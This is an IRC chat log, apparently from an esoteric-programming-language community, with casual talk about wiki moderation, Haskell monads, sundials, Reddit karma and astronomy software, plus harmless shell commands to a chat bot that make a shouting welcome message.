18:17:19 <ais523> (including but not limited to C-INTERCAL)
18:17:36 <elliott> "The binding community discussion on the Abortion article names as requested by the Arbitration Committee has commenced. [dismiss]"
18:17:37 <elliott> my condolences to anyone involved in what will inevitably be a complete trainwreck
18:17:41 * ais523 suspects that this answer is less stupid than elliott might have been discussing
18:18:01 <ais523> wait, is there seriously a major push to name it something other than [[Abortion]]? or is this about subarticles?
18:18:16 <elliott> ais523: "The Arbitration Committee has requested a binding, structured community discussion on the article titles "Support for the legalization of abortion" and "Opposition to the legalization of abortion"."
18:18:39 <ais523> so typical of Wikipedia
18:18:46 <ais523> also, hmm at [[absurd brainfuck]]
18:18:46 <elliott> ais523: prediction: half the people want "Support for the continued illegality of abortion" and "Opposition to the continued illegality of abortion"
18:18:50 <ais523> does that article even make sense at all?
18:18:55 <ais523> http://esolangs.org/wiki/absurd_brainfuck
18:19:06 <elliott> half of tailcalled's articles are just stupid joke BF derivatives
18:19:54 <ais523> I mean, OK, TwoDucks is uncomputable, but it has nicely and precisely defined semantics, even if they're unimplementable
18:20:00 <ais523> Absurd BF doesn't mean anything
18:20:23 <elliott> (the article is mistitled)
18:20:47 <ais523> I should really put a caps redirect in my autolinker, but I can't be bothered
18:20:52 <elliott> I was going to wikiformat it and categorise it, but I think I'll just leave uninteresting BF derivatives to rot in the future
18:21:14 <ais523> (there's an URL construction scheme that goes to the article verbatim if it exists, the name in various other cases if it doesn't, and the search page if none of those do)
18:21:24 <ais523> (it's intended for use by the Go button)
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18:22:06 <elliott> well, the hourglass button these days
18:22:19 <elliott> which, btw, is inexplicably differently-aligned on Wikipedia to everywhere else
18:22:23 <oklofok> anything of interest to me happen in the last couple of days?
18:22:36 <elliott> compare top-right of http://esolangs.org/wiki/Main_Page and http://www.mediawiki.org/wiki/MediaWiki to http://en.wikipedia.org/wiki/Main_Page in Vector
18:23:09 <elliott> * A language that is similar to that in Star Trek the next generation episode "Darmok" [http://en.wikipedia.org/wiki/Darmok] . I don't know what that could mean with programming languages. Look up Darmok reviews online. Here are 2: [http://blip.tv/sf-debris-opinionated-reviews/tng-darmok-review-5884483]
18:23:54 <elliott> i like how it says "here are 2" but actually only links to one
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18:25:54 <ais523> <ais523> you mean magnifying glass, not hourglass, right?
18:26:45 <elliott> wow, MediaWiki's memoryalpha interwiki is really out-of-date; the links it produces don't even work
18:27:48 <elliott> http://esolangs.org/w/index.php?title=List_of_ideas&curid=1669&diff=30948&oldid=30947 hmm, this is possibly stretching the definition of "format"
18:35:13 <ais523> it's more similar to "wikify"
18:35:24 <ais523> but there's a content change too (if a trivial correction)
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18:41:24 <ais523> it might almost be a good idea if it made some sort of sense
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18:44:37 <oerjan> if it worked like haskell's reverse state monad somehow...
18:44:55 <elliott> ais523: realisation: I think I took down the sitenotice ~1 day before cpressey visited the wiki for the first time in months :D
18:45:17 <ais523> oerjan: Haskell has a reverse state monad?
18:45:23 <ais523> I can, umm, sort of see how that would work
18:45:29 <ais523> but not think of any applications for it
18:45:32 <elliott> http://lukepalmer.wordpress.com/2008/08/10/mindfuck-the-reverse-state-monad/
18:45:39 <elliott> you can do the fibonacci numbers with it
18:46:24 <elliott> there's also http://www.reddit.com/comments/6j2fy/backwards_state_monad/c03zgnv
18:46:27 <elliott> for a "practical" application
18:46:41 <ais523> bleh, mindfuck is a different thing from brainfuck and minscrew?
18:48:16 <oerjan> hm the question i then have is whether you could ever do a loop test without data flow deadlock
18:48:44 <ais523> <Andrew> I just googled “state monad simple example” and this link cropped up.
18:50:02 <olsner> I think if you combine the backwards and forwards state monads you should get MonadFix for State
18:51:23 <elliott> olsner: i tried that once, combining the flow from each direction monoidally
18:52:48 <elliott> ais523: wait, presumably the reason that user isn't in the creation log is because they /already existed/
18:52:53 <elliott> and so didn't pass the captcha at all
18:52:58 <ais523> that's a plausible enough explanation
18:52:58 <elliott> which would explain why i couldn't find them in the logs
18:53:15 <elliott> that's how most of the spammers are getting through, after all
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19:09:08 <oerjan> <elliott> I was going to wikiformat it and categorise it, but I think I'll just leave uninteresting BF derivatives to rot in the future
19:09:33 <oerjan> i have occasionally had the weird thought if they should get their own namespace
19:11:31 <olsner> move them to the bfwiki
19:12:16 <ais523> meanwhile, Slashdot are busy arguing about whether the recent claim someone's made to have produced a 230% efficient LED are sane or not
19:12:49 <ais523> the argument is that actually it's an electrically-powered heat pump, that converts ambient heat to light, and more such heat than the electrical input
19:13:02 <ais523> quite a few commentors are suggesting connecting the thing to a solar panel to see what happens…
19:13:24 <olsner> the solar panel needs to be more than 44% effective for an interesting effect
19:13:32 <Sgeo_> elliott, monqy tswett if you didn't see: UPDATE
19:13:38 <oerjan> even a heat pump needs a temperature _difference_...
19:13:43 <ais523> indeed, but that's doable with modern technology, I think
19:13:51 <ais523> oerjan: no, it needs an energy source
19:14:02 <ais523> heat pumps create a temperature difference and consume energy to do so
19:14:10 <tswett> Sgeo_: just the flash? Aye.
19:14:18 <ais523> now, there is an energy source (the electricity), but it's less than the amount of heat pumped…
19:15:19 <elliott> <oerjan> i have occasionally had the weird thought if they should get their own namespace
19:15:30 <ais523> elliott: you know what you should /actually/ do instead, right?
19:16:57 <elliott> http://esolangs.org/w/index.php?title=List_of_ideas&curid=1669&diff=30952&oldid=30948
19:20:17 <ais523> oh, btw, I had an awesome esolang idea in a dream weeks ago, and now can't remember most of it
19:20:21 <olsner> hmm, you probably need a few tokens beyond those keywords as well...
19:20:23 <olsner> <>{}; for starters - and identifiers
19:20:30 <ais523> (note that as I had it in a dream, it may not follow the rules of logic, or fail to make any sense for other reasons)
19:20:44 <ais523> but I remember that the main concept was that there was only one program, which was a physical obect
19:20:59 <ais523> and you programmed in it by physically travelling elsewhere in the world so that you were looking at it from a different perspective
19:21:02 <oerjan> ais523: hey it could still be better than most on the wiki
19:21:03 <ais523> which changed what it meant
19:21:51 <oerjan> fractal sundial comes to mind
19:21:59 <ais523> wow, now I'm laughing out load at that for some reason
19:22:43 <elliott> wait, which word became digital?
19:22:57 <olsner> how about a language where the empty program does "everything" (in some defined universe), and to get useful work done you need to describe everything that the program should not do
19:22:57 <ais523> it helps if you know the object that oerjan's describing
19:23:05 <ais523> now I'm wondering if any of the things have ever been made?
19:23:27 <ais523> olsner: arguably, constraint-based programming does that
19:23:34 <ais523> oklopol-Clue, Proud, etc
19:23:34 * elliott doesn't know the object oerjan is describing.
19:23:37 <oerjan> didn't wikipedia mention a real one...
19:23:37 <elliott> however http://en.wikipedia.org/wiki/Digital_sundial
19:24:09 <olsner> ais523: oh, that's kind of what I was thinking about yes... sounds boring :(
19:24:19 <elliott> "The first prototype of the device was constructed in 1994. In 1998 for the first time a fractal sundial was installed in a public place (Genk, Belgium).[3] There exist window and tabletop versions as well.[4]"
19:25:02 <ais523> now I want one of those, but I bet they're really expensive
19:25:15 <ais523> and I'd have nowhere to put it
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19:25:51 <ais523> btw, I think it's theoretically possible to have a (fractal) digital sundial that shows the date too (not the year, though)
19:25:56 <elliott> "window/tabletop" versions don't sound like they'd be expensive
19:26:00 <elliott> or they wouldn't be very profitable to make
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19:26:18 <ais523> I have the feeling that they aren't made very much for that reason
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19:26:46 <fizzie> "The cost per sundial is $ 129.00. Sundials will be shipped from Vermont via USPS Priority Mail."
19:26:57 <fizzie> Sorry, that was the US price.
19:26:59 <oerjan> ais523: i recall discussing that previously and concluding that there must be days in the spring that cannot be distinguished from days in the autumn
19:27:04 <fizzie> "The cost per sundial is € 91.00. Sundials will be shipped from Germany. Within Germany, the shipping cost is € 2.30 per sundial; for other European countries, the shipping cost is € 4.60 per sundial."
19:27:23 <ais523> fizzie: I just found that
19:27:27 <fizzie> That's not "really expensive", but not quite cheap either.
19:27:31 <ais523> €91 is more than I'm willing to pay for a digital sundial
19:27:42 <ais523> it's in the range of things that I could afford, but more than the value I put on one
19:29:09 <fizzie> "We currently offer mounts for 30, 35, 40, 45, 50, and 55 degrees latitude." Well, this is 60.
19:29:49 <elliott> oh dear, Wolfram has his own blog
19:29:56 <ais523> elliott: why does that surprise you?
19:30:02 <Sgeo_> elliott, I need to stop being part of the MSPA community. My levels of surprise at [S] Jane: Enter were rather low.
19:30:06 <elliott> ais523: it doesn't, just worries
19:30:17 <ais523> it was probably inevitable, wasn't it?
19:30:43 <elliott> "Every day—in an effort at “self awareness”—I have automated systems send me a few emails about the day before. But even though I’ve been accumulating data for years—and always meant to analyze it—I’ve never actually gotten around to doing it. But with Mathematica and the automated data analysis capabilities we just released in Wolfram|Alpha Pro, I thought now would be a good time to finally try taking a look—and to use myself a
19:30:43 <elliott> s an experimental subject for studying what one might call “personal analytics”."
19:30:56 <elliott> do you think he's this much of a shill 24/7?
19:31:37 <elliott> "But what about the 1990s? Well, that was when I spent a decade as something of a hermit, working very hard on A New Kind of Science."
19:31:39 <ais523> elliott: I don't even think he's intentionally shilling
19:31:54 <monqy> that "self awareness" effort reminds me a bit of itidus
19:32:13 <ais523> and nah, ANKOS introduced me to a bunch of paradigms I wouldn't know existed otherwise
19:32:27 <MDude> What, is he saying he's going to study patterns in his own writing?
19:32:28 <ais523> admittedly I had to find more reliable sources about them, but just knowing they exist is good
19:32:42 <elliott> MDude: no, email-sending and shit
19:32:46 <elliott> http://blog.stephenwolfram.com/2012/03/the-personal-analytics-of-my-life/
19:33:13 <MDude> So just what time of day he sends and receives stuff?
19:33:15 <elliott> "For many years, I’ve captured every keystroke I’ve typed"
19:33:19 <elliott> more than email, apparently
19:33:54 <Friendship> "One day I shall publish every keystroke I've ever typed into a single book, and sell it under the title A New Kind of Novel"
19:34:05 <ais523> Friendship: you just made that up, right? still, it's great
19:34:06 <olsner> I should get something for vim that records every keystroke I make (except the text itself, which might contain secret sauce)
19:34:22 <ais523> also, this probably means it's quite easy to determine his password if you know where to look…
19:34:31 <MDude> All I can tell from the first one is that he apparently goes ot sleep at 3AM.
19:35:49 <MDude> Except for between 1996 and 2002, where he drifted later for a while and then suddenly snapped back.
19:36:29 <MDude> Before that it's a bit fuzzier, though.
19:36:34 <ais523> elliott: you know the Star Trek-related link that you wikified?
19:36:39 <ais523> are you sure it's not actually human-added spam?
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19:36:57 <ais523> an attempt to add a specific link in an attempt to make it look ontopic?
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19:37:21 <Friendship> What is the motivation to spam a Wikipedia link ...
19:37:28 <elliott> Friendship: it links to a review of the TNG episode
19:37:29 <ais523> Friendship: not the Wikipedia link
19:37:40 <elliott> presumably the episode is known for being especially bad or whatever
19:37:57 <ais523> but it's not "Spock's Brain", which is famously the worst Star Wars episode ever
19:38:06 <elliott> yes, Spock's Brain is the worst Star Wars episode
19:38:08 <olsner> it's the famousiest TNG episode, probably
19:38:14 <elliott> even worse than Attack of the Clones
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19:38:30 <elliott> yes, which is better than Stop Trek
19:38:44 <elliott> anyway, (a) way too intelligently-placed for even a human spammer,
19:38:55 <Friendship> That being said, that is a legit language idea, and even an esoteric one.
19:38:58 <elliott> (b) no obvious profit motive to spam that link,
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19:39:07 <elliott> (c) idea is fairly well thought-out according to those who have the context
19:39:20 <elliott> ais523: also, the user who added it isn't an IP
19:39:24 <elliott> and has made other valid contributions
19:39:37 <elliott> if they're a spambot, they're _really_ dedicated
19:39:38 <ais523> I guess I'm just used to Wikipedia trolls who came up with really complex and sophisticated methods of spamming that are about on a level of what I've been describing
19:39:58 <ais523> not for any obvious reason, either
19:40:17 <olsner> btw, star trek (starträck) means starling droppings in swedish
19:41:11 <elliott> ais523: [[List of ideas]] is weirdly WardsWikiish
19:41:33 <elliott> with the varying styles of writing, intermingled content-and-commentary without signatures, etc.
19:41:46 <elliott> yes, it's pleasantly anarchic
19:41:54 <ais523> people should use that style of wiki more often
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19:42:19 <ais523> strangely enough, Talk pages often end up like that on Wikipedia
19:42:34 <ais523> especially if they're being periodically refactored but everyone but the person refactoring is ignoring the refactoring
19:42:42 <ais523> (as in, not reverting it, just not respecting the fact it's happened)
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19:50:36 <elliott> ais523: I think it might have been Chaitin who wrote that Lisp interpreter.
19:50:59 <elliott> "And in Chapter 4 we present a register machine interpreter for this LISP, and then compile it into a diophantine equation." -- Algorithmic Information Theory by Gregory. J. Chaitin, 1987
19:51:06 <ais523> elliott: that rings a bell
19:51:14 <ais523> although I wouldn't have got it without the reminder, I think
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19:51:36 <oerjan> why am i suddenly thinking of pavlov
19:51:53 <olsner> diophantine equations are turing complete?
19:52:11 <ais523> this was almost a problem in my research a couple of years back
19:52:21 <olsner> I can't even remember what they are, though I think I knew at one time
19:52:26 <olsner> well enough to pass the course, iirc
19:52:38 <ais523> it took me some work to prove that the suspiciously diophantine-equation-like set of inequalities I had was actually decidable
19:53:03 <ais523> and equations concerning polynomials on multiple variables, all of which are integers
19:53:15 <ais523> olsner: go swat elliott for me, will you?
19:53:49 <oerjan> ais523: i cannot do that, it was entrapment
19:53:59 <ais523> OK, olsner, you swat him then
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20:09:10 <elliott> <ais523> OK, olsner, you swat him then
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20:15:24 <ais523> ooh, apparently I've been on Reddit for a year, for the nearest day
20:16:11 <oerjan> i'd have thought you'd been there longer.
20:16:30 <ais523> ooh, I got 16 comment karma for pointing out a respect in which Emacs and Eclipse were equally good, in the middle of what was becoming an editor war
20:16:42 <ais523> presumably, because claiming that they're equally good at something doesn't annoy fanboys of either side
20:17:12 <ais523> well, it was correcting an implication made by the parent comment
20:17:14 <olsner> the 16 upvotes were from vim users who hate both emacs and eclipse
20:17:20 <Sgeo_> I think I got a bit more karma than that for the less impressive feat of making a Christine O'Donnell
20:18:04 <olsner> hmm, I'm not sure my last statement makes any sense
20:18:04 <ais523> oh, the single comment that gave me the /most/ karma was for bashing PHP, but it still wasn't very much
20:18:08 <ais523> after that, for bashing VHDL
20:18:37 <Sgeo_> I got 28 karma for saying "I'm you"
20:19:24 <elliott> i got 101 karma for saying "I CAN SHARE CHEEZBURGR?". beat that, fuckers.
20:20:02 <elliott> most of my old comments are shite
20:20:14 <elliott> i did get 1419 link karma from stealing a link from another thread, though!
20:20:22 <ais523> someone here got over 1000 karma from one comment, IIRC
20:20:28 <ais523> but I forget who or why
20:20:35 <ais523> hmm, what's the single highest-rated comment on Reddit ever, I wonder?
20:20:57 <elliott> i forget what it was, but i remember it was shit
20:21:03 <elliott> the highest-voted post of all time is the "test post please ignore" i think
20:22:03 <ais523> was it first post ever, or something?
20:22:26 <elliott> people just upvoted it because it told people to ignore it and because qgyh2 posted it
20:22:48 <elliott> one of the highest-karma users on reddit, the highest a few years ago iirc
20:23:01 <elliott> well, http://www.reddit.com/r/pics/comments/92dd8/test_post_please_ignore/c0b6xx0 is a comment at 6356 points, that has to be one of the top comments
20:23:08 <ais523> there's something weirdly circular about upvoting someone because they have high karma
20:23:17 <ais523> and, umm, what's the picture (and is it SFW)?
20:24:01 <ais523> so I assumed the post was at least vaguely ontopic
20:24:08 <ais523> not the comment itself, but the post it was attached to
20:24:14 <elliott> well, test posts for a subreddit generally go in that subreddit
20:24:33 <elliott> ais523: oh, and it was a self-post, so he got no karma for it :)
20:24:35 <ais523> oh, it's a test /post/, not test comment?
20:24:45 <ais523> also, why aren't self-posts worth karma?
20:25:16 <elliott> ais523: because "UPVOTE IF DSKLSDJFLKSDFJ;" and all that kind of shit are self-posts
20:25:43 <ais523> surely making them worth karma would encourage people not to upvote them?
20:25:43 <oerjan> UPVOTE IF YOU BREATHE OXYGEN
20:26:12 <ais523> btw, highly-rated YouTube comments are often hilariously insightful parodies of the whole YouTube comment thing
20:26:19 <elliott> fsvo hilariously insightful
20:26:27 <ais523> well, by /YouTube/ standards
20:26:28 <elliott> ais523: no, people upvote them no matter what, because reddit is full of idiots
20:26:48 <ais523> I mostly stay confined to proggit
20:27:02 <ais523> and occasionally r/nethack, if we're trying to do an announcement there
20:27:39 <elliott> proggit is probably the least terrible of all the popular subreddits
20:27:51 <elliott> except when they try and talk about non-tech-related things
20:27:55 <oerjan> the theory is any subreddit larger than about 10000 subscribers will turn into a meme fest unless heavily moderated
20:28:37 <oerjan> is proggit on the default front page?
20:28:57 <elliott> no, not for the past few years, I think
20:29:14 <elliott> proggit's comments are rather low-quality usually
20:29:25 <oerjan> i think r/science is the only front page subreddit i still read
20:29:28 <elliott> though it's questionable how many of those actually pay attention to it
20:29:31 <elliott> since it used to be default
20:29:47 <elliott> oerjan: not /r/askscience too? oh, wait, they got taken off
20:30:02 <ais523> elliott: proggit's comments are typically low-quality but there are frequently high-quality ones there too
20:30:13 <elliott> (they asked to be since it was becoming too shitty for the mods to handle thanks to the traffic)
20:30:18 <ais523> although that's more pronounced in Slashdot, which almost always eventually ends up with a few excellent comments
20:30:26 <oerjan> no i don't follow askscience but i thought that was better due to particularly heavy moderation?
20:30:49 <oerjan> but perhaps even they couldn't handle being frontpage
20:31:06 <elliott> yes, they delete comments in almost every thread
20:34:29 <elliott> http://www.securelist.com/en/blog/667/The_Mystery_of_the_Duqu_Framework fancy
20:36:04 <elliott> Vagrant 1.0 released! (vagrantup.com)
20:38:30 <ais523> elliott: I thought of your roguelike too
20:38:36 <ais523> it isn't, but what it is is actually moderately interesting
20:39:28 <elliott> yes, Vagrant actually looks useful, I've seen it before
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20:52:30 <elliott> SQL.js: SQLite Compiled to JavaScript via Emscripten (badassjs.com)
20:57:17 <ais523> ooh, now we can run it in the JS interp that's embedded in PHP!
20:59:06 <elliott> that's just a binding to V8
20:59:16 <elliott> the only ridiculous thing about that is that PHP bundles all its external library bindings
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21:03:52 <zzo38> I know a chess variant called Pole Chess. There is an extra piece called a pole which starts off-board. It can move to any vacant cell as a turn, but cannot capture or be captured.
21:03:58 <zzo38> Once I played Pole Chess; neither me nor my opponent used the Pole but both of our
21:04:04 <zzo38> Once I played Pole Chess; neither me nor my opponent used the Pole but both of our
21:04:15 <oklofok> Once I played Pole Chess; neither me nor my opponent used the Pole but both of our
21:04:21 <zzo38> Once I played Pole Chess; neither me nor my opponent used the Pole but both of our moves still took the existence of the pole (off-board) into consideration for out strategies.
21:04:32 <oklofok> catchy chorus you have there
21:05:03 <oklofok> you should work on your rhymes though
21:05:15 <elliott> someone's gotta record that
21:06:44 <zzo38> I was not trying to make a chorus; I made a mistake in entering the message
21:11:24 <oklofok> zzo38: could you write the verses as well?
21:12:50 <elliott> oklofok: the verses are everything else he's said today
21:13:17 <oklofok> i mean, sing them and put a beat under it.
21:13:30 <oklofok> zzo38 gets nothing because he doesn't want money
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21:35:01 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
21:39:19 <zzo38> oklofok: There are no verses. And I do not have the microphone on my computer.
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23:30:33 <tswett> What does the phrase "Matalii ja Mustii" mean, if anything?
23:33:41 <ion> A spoken-language version of “matalia ja mustia” which means “low and black [ones]”.
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00:01:09 <oklofok> it's the partitive case of "shallow and spot"
00:02:21 <oklofok> (shallows meaning shallows spots in a body of water)
00:04:21 <oklofok> it's a popular finnish game where you get on a boat with our family and throw the family dog and your kids in the water. the game is that you try to shoow the family dog before your kids find a shallow spot. if they can't find one fast enough, they drown and you shoot the dog, otherwise everyone's safe
00:04:32 <oklofok> i know it sounds cruel but it's actually a lot of fun
00:04:45 <oklofok> if you hate your life and are a sociopath with a shotgun
00:06:05 <oklofok> also pun not intended with shallow spot vs. dog name spot. didn't even notice that, i'm very tired.
00:06:32 <oklofok> also we use the partitive because you cut them into pieces if they lose
00:07:16 <oklofok> if they win, you cut them into peace easy, which sounds like a good thing
00:07:35 <oklofok> so this one time there was cheese
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00:10:24 <oklofok> i feel partially responsible for that
00:11:23 <oklofok> wonder what i should say next
00:11:35 <oklofok> maybe i'll talk about feelings
00:12:06 <oklofok> feelings are interesting because while they don't really have physical form, you can still "eat them", i'm sure you know which idiom i'm referring to
00:12:22 <oklofok> this probably stems from some sort of conspiracies in history when i was going to sleep
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00:53:25 <zzo38> Has the Bible ever been translated into Egyptian hieroglyphics?
00:55:44 <Friendship> Or more likely into hieratics, but same idea.
00:55:45 <elliott> The bible was written in Egyptian hieroglyphics, man!
00:58:38 <Friendship> (That was a bad joke by the way, I don't think the Torah has been translated into ancient Egyptian ;) )
01:02:53 <zzo38> Some of the texts probably did have origins in Egyptian ideas. However, what I mean is the modern text, including the New Testament as well. There are probably are Ehyptian texts with similar ideas to texts in the Bible; but that is not what I meant.
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01:33:12 <pikhq_> Pong; just got home from work.
01:35:40 <elliott> I forget, do you have to do anything special to get Quod Libet playing gapless?
01:42:32 <zzo38> I would like to know if there is ephemeris software which includes rotation of objects other than the Earth.
01:43:30 <calamari> zzo38: stellarium includes jupiters great red spot.. is that what you mean?
01:43:48 <calamari> zzo38: (so you can figure out when it'll be visible)
01:44:26 <zzo38> calamari: That would be one example, I suppose.
01:44:50 <calamari> zzo38: and it might do other planets as well, but I don't know their surface features well enough to say for sure
01:48:21 <pikhq_> elliott: Nothing special.
01:49:02 <calamari> zzo38: well I was curious so I fast-forwarded on mars.. it spun the planet, so I'm assuming yes
01:49:53 <calamari> zzo38: what project are you planning?
01:51:31 <pikhq_> If you're unlucky, though, GStreamer will have a bug preventing gapless FLAC.
01:51:50 <pikhq_> (fixed in latest GStreamer, though)
01:53:49 <elliott> I suspect Arch has a new enough GStreamer to avoid that.
01:53:53 <elliott> But it is indeed FLACs I'm playing.
01:58:45 <Jafet1> You could delete quotlibet and install xmms!
01:59:12 <pikhq_> It'd probably be saner to install Winamp 2 in WINE. Surprisingly.
01:59:31 <Sgeo_> What is the computational class of Common Lisp FORMAT strings?
02:00:05 <Jafet1> Actually by this channel's standards, probably tarpit-medium
02:00:30 <Sgeo_> I asked in #lisp if it's TC, they said no
02:00:37 <Sgeo_> Or, one person said no.
02:00:55 <pikhq_> I'd imagine it's at minimum a FSM.
02:00:59 <Sgeo_> I should note that I'm excluding ~/
02:01:53 <zzo38> calamari: I do not need a picture of the planets. I intend something superior to Astrolog, with more coordinate systems, and more other stuff too including custom orbital parameters (Astrolog has these but in a very limited way), and a few features Swiss Ephemeris also appears to lack. However, apparent diameters would be useful, but photographs are unnecessary.
02:02:13 <elliott> pikhq_: Hey, xmms2 ain't bad.
02:02:45 <zzo38> (Such things as refraction are also useful to have here; as well as switching on/off various things such as annual aberration of light, and finite speed of light, etc)
02:03:47 <zzo38> (Swiss Ephemeris has some of these features, but not all.)
02:04:00 <pikhq_> elliott: If you omit a number, I assume xmms1.
02:04:09 <calamari> zzo38: well maybe it's just me, but if it can produce a pic of the planet spinning then it did the calculation in the stellarium code somewhere
02:04:20 <pikhq_> XMMS wasn't too bad. In 2000.
02:04:37 <pikhq_> That's over half my lifetime ago.
02:05:26 <zzo38> calamari: Yes that may be the case. However, is there any standard zero longitude defined on the planets other than the Earth?
02:05:55 <calamari> zzo38: guess you'd have to look and see
02:06:11 <pikhq_> zzo38: Don't think so. We'd need to get the British to set up shop on each one for that to happen.
02:06:23 <pikhq_> And then we can have Martian Greenwich Mean Time.
02:07:07 <zzo38> And I mean not only the planets, but also the Moon and Sun, and also dwarf planets.
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02:11:25 <zzo38> If we know the objects and the rotations of each one, we can make up coordinates for locations on the surface of the planets, and local ecliptic and local equatorial celestial coordinates relative to those planets, and timezones, and houses relative to those planets.
02:11:54 <zzo38> (As well as where the local tropics are)
02:12:05 <zzo38> (And a few other things too)
02:12:39 <elliott> pikhq_: Question: Who thought it was a good idea to put any user interface (e.g., dials) on the back of a device which is intended to be operated facing forwards?
02:12:45 <elliott> And how can I reeducate them?
02:13:14 <pikhq_> Beats me. The only form of UI that makes sense there is the sort that you literally do not need to look at at all.
02:13:28 <pikhq_> Say. R and L *buttons* on a controller.
02:13:47 <zzo38> Nintendo 64 has the Z button on the back.
02:13:54 <elliott> I imagine it's because they believe the configuration is a rare task, or the back will be readily-accessible even if it involves going 'round to the cables.
02:14:10 <pikhq_> Oh, wait, you mean something that's not even hand-held?
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02:14:32 <elliott> Bonus: if you just turn it around to do it, you won't be able to tell if you set it right or not, so you just have to lean over it.
02:14:51 <elliott> Bonus to the bonus: It has sharp corners.
02:14:59 <elliott> I would like my hands back.
02:15:07 <zzo38> The other thing I was looking for, is glyphs for all the dwarf planets in our solar system; some of them do not yet have glyphs (one does not yet have a name; and it should probably be named first before a glyph is assigned)
02:20:17 <zzo38> (2007 OR10 lacks a name.)
02:21:57 <Sgeo_> elliott, why do you have to actually see the dial itself?
02:24:40 <Sgeo_> Oh, I guess physically reaching it is difficult?
02:25:25 <calamari> zzo38: do you have a telescope?
02:25:27 <elliott> Well, not impossible, but I do have to move it slightly and lean over, leading to awkwardness and aforementioned sharp corner nicks.
02:26:39 <zzo38> calamari: No, I don't. But even if I did, that wouldn't help me to name 2007 OR10 or assign glyphs or anything.
02:27:01 <calamari> zzo38: just trying to understand your interest in celestial mechanics
02:27:20 <zzo38> For the purpose of writing computer programs.
02:27:49 <zzo38> (I do sometimes look at the stars and moon and so on outside; but I have no telescope)
02:28:33 <calamari> I'd like to write a program to use a wii remote to help me aim my scope
02:28:51 <zzo38> Do you have Bluetooth in your computer?
02:28:55 <calamari> but I still need to figure out the math
02:29:11 <calamari> yes, but I was envisioning using my phone
02:30:03 <zzo38> Astrolog does have many features; but some features are lacked, such as GPS input, and negative harmonic factors.
02:32:46 <zzo38> (The reason I want glyphs for the dwarf planets is for purpose of including them on diagrams. There are many kinds of diagrams which you might want them on)
02:33:12 <zzo38> (However, it is only the certain and nearly certain ones which I am interested in.)
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02:34:14 <Sgeo_> zzo38, have you ever tried a Lisp?
02:38:38 <Sgeo_> monqy, tswett update
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02:40:43 <Sgeo_> Did you even see the flash yet?
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03:12:28 <tswett> You know, I don't think I care for Polynomial.
03:12:43 <tswett> I think it ought to be designed in such a way that it doesn't *matter* which way the instructions are executed.
03:13:53 <tswett> esolangs.org/wiki/Polynomial or summat.
03:17:05 <tswett> Man. The page "Pure BF" looks sort of familiar. Almost as if I had written it or something.
03:17:06 <Sgeo_> register += 0 is not representable in Polynomial?
03:19:16 <tswett> Sure it is. Multiply the polynomial by 4.
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04:06:42 <elliott> Friendship: So did your interview get published?
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04:10:20 <HackEgo> deadlocked: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
04:21:33 <elliott> I don't think deadlocked feels welcome enough.
04:23:37 <ion> There should be a `WELCOME which welcomes someone IN CAPS.
04:28:43 <elliott> `run echo '#!/bin/sh' >bin/WELCOME; echo "welcome \"\$@\" | perl -ne 'print lc(\$_)'" >>bin/WELCOME
04:28:56 <HackEgo> ion: welcome to the international hub for esoteric programming language design and deployment! for more information, check out our wiki: http://esolangs.org/wiki/main_page
04:29:06 <elliott> That was quite a spectacular failure.
04:29:15 <elliott> `run echo '#!/bin/sh' >bin/WELCOME; echo "welcome \"\$@\" | perl -ne 'print uc(\$_)'" >>bin/WELCOME; chmod +x `which WELCOME`
04:29:25 <HackEgo> ION: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
04:29:41 <Sgeo_> `WELCOME lowerelliott
04:29:44 <HackEgo> LOWERELLIOTT: WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHECK OUT OUR WIKI: HTTP://ESOLANGS.ORG/WIKI/MAIN_PAGE
04:29:46 <elliott> I think this more appropriately conveys the sinister hostility which underlies our initially seemingly-benign welcomings.
04:31:53 <zzo38> The URL are case sensitive
04:33:11 <Sgeo_> Well, the wiki part is
04:33:21 <Sgeo_> Actually, both parts are.
04:33:31 <Sgeo_> And by both, I am excluding esolangs.org
04:33:31 <elliott> I COULD MAKE /WIKI/ BE A MIRROR OF THE WIKI WITH ALL THE TEXT TRANSLATED TO UPPERCASE.
04:33:35 <zzo38> The URI scheme and domain name is case insensitive, but the rest is case sensitive.
04:33:40 <ion> THAT WOULD BE COOL.
04:33:44 <elliott> IN FACT, I AM NOW SORELY TEMPTED TO DO THAT.
04:34:01 <Sgeo_> ELLIOTT, THAT WIKI WILL BE A FALSE WIKI, FOR THOSE LANGUAGE WHICH ARE CASE SENSITIVE
04:34:28 <elliott> FALSE, PERHAPS, BUT WHO WILL QUESTION A WIKI THAT SHOUTS THAT LOUD
04:35:22 <Sgeo_> esolangs.org will still show up as lowercase in most browsers' address bars?
04:35:35 <elliott> OKAY, THE MAIN PROBLEM I CAN SEE IS THAT IT'S FIDDLY TO DETERMINE WHICH PARTS TO UPPERCASE, HTML-WISE.
04:36:01 <elliott> THE RELIABLE THING WOULD BE TO MAKE A NEW LANGUAGE IN THE MEDIAWIKI INSTALLATION IDENTICAL TO THE ENGLISH ONE BUT WITH ALL THE TEXT UPPERCASED, AND WRITE AN EXTENSION TO FILTER THE TITLE AND PAGE TEXT BEFORE OUTPUTTING, BUT FUCK THAT NOISE.
04:36:14 <elliott> FUCK IT, I'LL DO IT SOME OTHER TIME.
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04:39:49 <madbr> wonder if it's possible to make a language out of nothing but threads and mutexes
04:39:52 <elliott> That's so bold I can't read.
04:40:01 <elliott> madbr: Makes me think of the pi calculus.
04:42:44 <elliott> madbr: Well, because that just has concurrent communicating processes (~ threads).
04:42:52 <elliott> And you can do the lambda calculus with it.
04:44:00 <elliott> You want the pthreads to pi calculus' Erlang. :p
04:48:30 <madbr> yeah... was thinking of making a language with only the bad parts of c++ :D
04:50:21 <ion> `run welcome foo | perl -CS -Mutf8 -Mlocale -pwe 'y/!-~/！-～/; y/ / /'
